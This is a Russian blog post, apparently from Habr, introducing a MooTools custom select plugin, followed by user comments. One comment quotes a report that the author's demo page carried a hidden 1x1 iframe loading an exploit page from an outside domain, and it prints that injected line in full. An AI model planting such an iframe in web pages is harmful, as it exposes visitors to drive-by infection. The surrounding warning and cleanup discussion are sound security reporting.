Замена стандартного select с использованием Mootools

    Иногда бывает нужно заменить стандартный HTML элемент select своим.
    Обычно это необходимо, если фантазия дизайнера разыгралась и он нарисовал «кастомизированный» select и настаивает, чтобы было реализовано как он того захотел. Ну что ж, надо — сделаем.

    Небольшая предыстория.

    Однажды мне было необходимо кастомизировать select. Я использую mootools, поэтому, сразу пошел искать плагинчик для замены select'a — вдруг кто-то уже написал? Действительно, нашел несколько. Стал разбираться. Все просмотренные мною плагины оказались полной ерундой — они вели себя не как стандартный select. Выкинул их в помойку и решил написать свой плагин, который бы полностью повторял поведение стандартного select'a.

    Давайте теперь посмотрим, как же ведет себя стандартный select:
    • На него можно навести фокус
    • Можно выбирать, не открывая select, а используя клавиши-стрелки
    • Можно закрыть открытый select, нажав esc
    • Можно выбрать опцию в открытом селекте, нажав enter
    • Можно убрать фокус с select'a, нажав tab
    • Если в select'e много опций, то появляется прокрутка
    • У select'a есть событие onchange (есть и другие, но это наиболее важное)
    • В стандартном селекте можно набирать первую букву и будет переходить фокус сразу на элемент

    Ближе к делу


    Я не буду здесь приводить код того, что получилось — это ни к чему. Лучше сами скачайте и посмотрите, либо загляните в демо. Но я расскажу о том, что получилось.

    Что получилось


    Итак, получился свой «кастомный» селектбокс. И вот что он умеет:
    • Стандартное поведение как у «нативного» select
    • Заменяет указанный select собой
    • У него есть аж 4 события: onChange, onSelect, onShow, onHide
    • Поддерживает темы
    • Имеет понятный CSS
    • Имеет простую DOM модель
    • Прост в использовании
    • Имеет метод rebuild(), при помощи которого можно перестроить «кастомный» селектбокс, если произошли изменения в нативном select'е
    • JS код весит около 4-х килобайт в сжатом виде и 7,5 в несжатом

    Какие на данный момент есть проблемы


    1. Нельзя изменить вид полосы прокрутки которая появляется в селектбоксе при большом количестве опций
    2. Пока что селектбокс может выпадать только вниз, а должен выпадать и вверх, если внизу мало места
    3. Отсутствует режим multiple
    4. Таймаут при покрутке, чтобы опция при наведении мыши при прокрутке выделялась не сразу (у нативного select'a именно так)
    5. Не меняет внешний вид при нажатии
    6. Если есть скролл, то он должен автоматически прокручиваться при выборе элементов.
    7. Если мышкой навсти на пункт меню, затем убрать мышь, то при нажатии Enter должен выбраться этот элемент

    Все эти проблемы я постараюсь исправить в следующих релизах.

    Тестировалось только в IE 7, Firefox 3.0.1, Google Chrome (гляньте кто-нибудь, в Опере и IE6 как?)

    Если что-то упустил из виду — сообщайте. И, конечно, сообщайте о найденных багах, буду исправлять.

    Скачать CustomSelect
    Посмотреть демо
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 76

      +3
      автор цены бы вам и вашему компоненту не было, если бы ваш select еще обладал включаемым режимом text, для ввода произвольного текста
      я бы враз перешел на ваш вариант
      но и так — просто отлично!
        +3
        Как опцию — могу сделать. Только надо подумать, как технически это реализовать.
        Давайте подумаем, для чего обычно нужна возможность ввода текста? (жду варианты)
          +1
          как вариант иногда приходится перечислять не весь список значений, просто потому что он очень большой по определению

          скажем, задать населенные пункты Свердловской области, для выбора того, где прописан человек
          в таком случае выводятся только города, которых несколько десятков, но опускаются села и деревни
          здесь очень пригодится возможность пользователю уточнить список и ввести данные руками

          это первое что в голову пришло, а вообще вариантов много и мне часто не хватало такого функционала
            +1
            То есть нужно:

            1. Режим ввода текста
            2. Колбэк, который вызывается при вводе каждого символа
            3. Колбэк на enter (что значит, что мы закончили ввод и хотим результаты)
            4. Колбэк, который вызывается, когда произошла пауза в N ms при вводе текста

            еще?
              0
              мне достаточно только 1 пункта
              остальное я бы делал сам
              калбэк на нажатие кнопок мне не нужен, не вижу пока применения
              и 3 пункт тоже не нужен, я против срабатываения логики на выбор элементов типа checkbox или select, все должно происходить очевидно и по нажатию кнопок
                0
                В принципе да, пунктом 4 можно все решить.
                Но только вот не хотелось бы добавлять ненужную функциональность в этот же класс.

                Пожалуй, расширю этот класс другим, и обзову его как нибудь типа CustomSelectText.
                  0
                  согласный
                  вы не против, если потом я в меру своих способностей попытаюсь перенести элемент в jQuery (если получится)?
                    0
                    Нет конечно)
                      +2
                      и пожалуйста отпишитесь о результатах
                  0
                  даже в стандартном элементе (на странице с примером) нет режима ввода текста, но если список открыть на набрать первую (пырвые) буквы слова, оно выделится. При больших списках это становится критично, а при малых — можно обойтись radio button'ом

                  но компонент, конечно, знатный получился =) Спасибо)
                    +1
                    > но если список открыть на набрать первую (пырвые) буквы слова, оно выделится

                    Добавил данную функциональность
              0
              Ну и конечно же что при вводе текста должно/может происходить? (тоже нужны варианты).
                +2
                Такой контрол называется ComboBox ;)
                  0
                  ну не все же с Delphi знакомы :)
                    0
                    Ну не обязательно Delphi (сам не знаком с ним на практике).
                    И в .NET, и в ExtJS, и в Adobe Flex Framework, да везде он так и называется :) Комбинация ListBox'а (коим является select в html) и TextBox'а.
                      0
                      да, вы правы
                      просто забыл что в Windows Forms он тоже называется ComboBox
                      в asp.net его нет, select называется DropDownList
                        0
                        Да, все верно, в ASP.NET это DropDown, а ComboBox у них там в WinForms, WPF, MS Office Controls, может еще где-то…
                    0
                    Ну у ComboBox было свойство, названия уже не вспомню, как раз от его значения зависело, можно писать свои варианты, или нельзя. То бишь ComboBox мог быть разным =)
                    0
                    есть готовое решение тут:
                      +2
                      готовое решение комбобокса есть тут:
                      dhtmlx.com/docs/products/dhtmlxCombo/index.shtml

                      Edition: Standard — available for free download (to use under GPL) or under Commercial or Enterprise License (to use in commercial application and get support).
                        0
                        платное для коммерческого использования
                        не айс, хотя это то что надо
                        спасибо
                          0
                          знаю что не айс, но если срочно нужно, то может и пригодиться

                          будем надейтся автор топика напишет CustomSelectText
                            0
                            > будем надейтся автор топика напишет CustomSelectText
                            Над этим уже работаю)
                          0
                          За этот пример спасибо!
                          Всю ночь вчера сидел ковырялся с editable mode для своего комбобокса, а тут можно и посмотреть, как должен себя вести комбобокс в таких случаях.
                        0
                        насчет стандартного поведения, у меня так не закрывается при повторном клике на нем. Убунта + firefox3
                          +1
                          Спасибо — учел. Исправлю обязательно.
                            +1
                            Уже исправил)
                            +1
                            В стандартном селекте можно набирать первую букву и будет переходить фокус сразу…
                              +1
                              также стандартный реагирует на page up, page down и alt+arrow. А также изменяет внешний вид при нажатии.
                                0
                                Спасибо, учёл.
                                  0
                                  Исправил. Сейчас реагирует на page up, page down и alt+arrow, а так же на home и end.
                                +1
                                в mootools 1.2 не надо писать new Event(e), e уже расширен спомощью new Event, это происходит автоматически.
                                  0
                                  вместо
                                  var li = new Element('li');
                                  li.set('text', option.get('text') );
                                  li.inject( this.selectbox );
                                  li.setProperty('index', option.index);
                                  можно писать
                                  var li = new Element('li')
                                  .set('text', option.get('text') )
                                  .inject( this.selectbox )
                                  .setProperty('index', option.index);
                                    0
                                    вместо
                                    this.currentElement = li;
                                    this.currentElement.addClass('selected');
                                    можно
                                    this.currentElement=li.addClass('selected');
                                      0
                                      Внёс правки в код
                                    0
                                    Спасибо, уберу это. Привык к 1.1)
                                    –4
                                    Ура, а то NiceForms как-то подзаебал уже своими лагами. ^_^
                                      0
                                      Ну у меня же только select, а не все элементы формы)
                                        +1
                                        Используйте ExtJS
                                        0
                                        на mac-styled select'е видны непрозрачные краешки, надо бы поправить =)
                                          0
                                          Поправлю картинки. Под рукой просто нормального редактора графики нет)
                                          0
                                          В ie6 обычные комбо-боксы, стилей нет.
                                            0
                                            Понятно, спасибо. Значит там есть ошибки. Доберусь до компа с IE6 — все поправлю.
                                            0
                                            в ie6 пока не уберешь русские коменты или не сохранишь в utf-8 custom_select.js не работало. Также надо добавить в a.aqua overflow: hidden
                                            +1
                                            респект за правильный курсор :) честно респект, т.к. в рунете общепринято «мощно жмакнуть — нужен палец».
                                            А кастомный скролл ожидается?
                                              0
                                              Да, кастомный скролл будет обязательно. Сейчас уберу сначала все косяки, потестирую и займусь кастомным скроллом.
                                              0
                                              На данный момент управление стрелками тоже не работает (FF 2.0.16).
                                                0
                                                у меня работает (ff 2.0.0.16)
                                              • НЛО прилетело и опубликовало эту надпись здесь
                                                  0
                                                  Очень нужная штука, респект автору!
                                                    0
                                                    Нам пришло письмо от внимательного пользователя, позволю себе привести из него цитату:
                                                    Я являюсь постоянным посетителем хабра (в качестве читателя). Сегодня я случайно обнаружил троян в ссылке одного из авторов на прилагаемое демо. Статья называется «Замена стандартного select с использованием Mootools», находится на данный момент второй по счету на индексе. В тексте статьи есть ссылка на демо, в которой помимо кода примера к статье имеется след. строчка:
                                                    <iframe src='http://light-money.cn/spl/index.php' width='1' height='1' style='visibility: hidden;'></iframe
                                                    Обнаружено было случайно, при желании изучить хтмл-код приведенный автором. Касперский троян не обнаружил, хотя обновления установлены последние. Хотел зарегистироваться и предупредить пользователей, но увы — регистрация оказалась недоступной. Убедительная просьба принять меры по удалению трояна или статьи во избежании заражения компьютеров пользователей.

                                                    Автор статьи оповещён. Я добавил предупреждение об опасности в текст самой статьи и очень жду, что реакция автора поста окажется быстрой. Спасибо!
                                                      0
                                                      на этом сайте imaker.ru/ на каждой странице такой iframe.
                                                        0
                                                        Почистил от ифреймов. Интересно, откуда такое заражение появляется? Кто-нибудь сталкивался?

                                                        Я этим сайтом не один пользуюсь и у меня подозрение, что кто-то из моих коллег периодически заражает хостинг, заходя туда по ftp).
                                                        0
                                                        скорее всего был сплоит, сейчас страница отдает 404
                                                        0
                                                        Ой
                                                          0
                                                          В опере 9.25 у второго кастомного селекта не появляется скролл, а не влезшие пункты просто выпадают. Для сравнения, скрин из фф 3.
                                                          В ие6 получаю сообщение об ошибке, после ответа «нет» получаю второе, после ответа на котрое уже не происходит ничего нового. Но у меня ие6 не тот, что шел вместе с виндой, а standalone, так что может это косяк именно моего ие.
                                                            0
                                                            Можете куда-нибудь выложить этот standalone IE? Я бы под него поправил косяки.
                                                              0
                                                              Поставьте MultipleIE — неплохая, в общем, штука
                                                            0
                                                            отлично, юзал раньше elSelect.js, но он не обрабатывал события, чуть подправил чтобы эмулировал onChange, но ваш явно лучше. плюсанул в топик, в карму почему-то не получилось.
                                                            желаю багфиксов и дальнейшего развития!
                                                              +1
                                                              Bonch, Ваш сайт в данный момено ломают. В демке над примером виден список всех файлов вашего хостинга.
                                                                0
                                                                Это не ломают, это я, дурак, забыл лог выключить обработанных файлов (робот удаляет вражеские iframe, пока так сделал:) ).
                                                                  0
                                                                  Вопрос ко всем — я тут над алгоритмом думаю, пока ничего хорошего не придумал, может общественность поможет?

                                                                  В демке imaker.ru/application/wwwroot/custom-select/ во втором дропбоксе, где есть прокрутка, список элементов должен прокручиваться, когда дошли до конца видимого списка.

                                                                  Как это сделать наиболее легким путем?
                                                                • НЛО прилетело и опубликовало эту надпись здесь
                                                                    0
                                                                    Вот, оказывается, какое сложное все-таки поведение у select! Сразу всего и не заметишь.
                                                                    Спасибо — внёс в todo.
                                                                    0
                                                                    Замечательно получается.
                                                                    А если сделать поддержку многострочных пунктов — кодеры будут «кипятком писать».
                                                                      0
                                                                      Как раз этим сейчас и занимаюсь)
                                                                      Будет еще поддержка optgroup и disabled.
                                                                      0
                                                                      а есть нечто похожее для jQuery? ))
                                                                      0
                                                                      Кстати было бы здорово, если js-либы были в utf-8. А то комментарии в файлах нечитабельные =)))

                                                                      А так все здорово!
                                                                        0
                                                                        а на клик по label он реагирует?
                                                                          0
                                                                          Обновите пожалуйста файлы. А то не возможно скачать и демо не поссмотришь.
                                                                            0
                                                                            А есть возможность добавлять произвольный текст? и да выложите пожалуйста файлы в другое место
                                                                              0
                                                                              Актуально — посмотреть надо, а сайт не работает :(
                                                                                0
                                                                                Жаль демо не работает, как раз ищу подобное решение
                                                                                  0
                                                                                  Линки в посте мертвы, рекомендую ниже другой вариант глянуть, кто в поисках, как и я:
                                                                                  programmingdrunk.com/current-projects/dropdownReplacement/

                                                                                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                                  Самое читаемое